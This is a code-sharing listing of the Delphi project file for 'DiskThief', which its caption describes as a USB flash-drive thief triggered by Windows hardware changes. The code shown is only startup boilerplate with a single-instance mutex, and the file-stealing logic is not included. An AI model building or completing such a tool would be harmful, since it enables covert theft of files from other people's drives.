diskthief.dpr

来自「Delphi版的闪盘小偷。。 实现原理:当Windows系统的硬件设置发生变化」· DPR 代码 · 共 27 行

program DiskThief;

uses
  Forms,Windows,
  Un_Main in 'Un_Main.pas' {Frm_Main};

{$R *.res}
var
hMutex:HWND;
Ret:Integer;
begin
  Application.Initialize;
  Application.Title := 'DiskThief';
  hMutex:=CreateMutex(nil,False,'FDiskT'); //避免2次运行
  Ret:=GetLastError;
  If Ret<>ERROR_ALREADY_EXISTS Then
  Begin
  Application.CreateForm(TFrm_Main, Frm_Main);
  Application.Run;
  End
  Else
  begin
    ReleaseMutex(hMutex);
  end; 

end.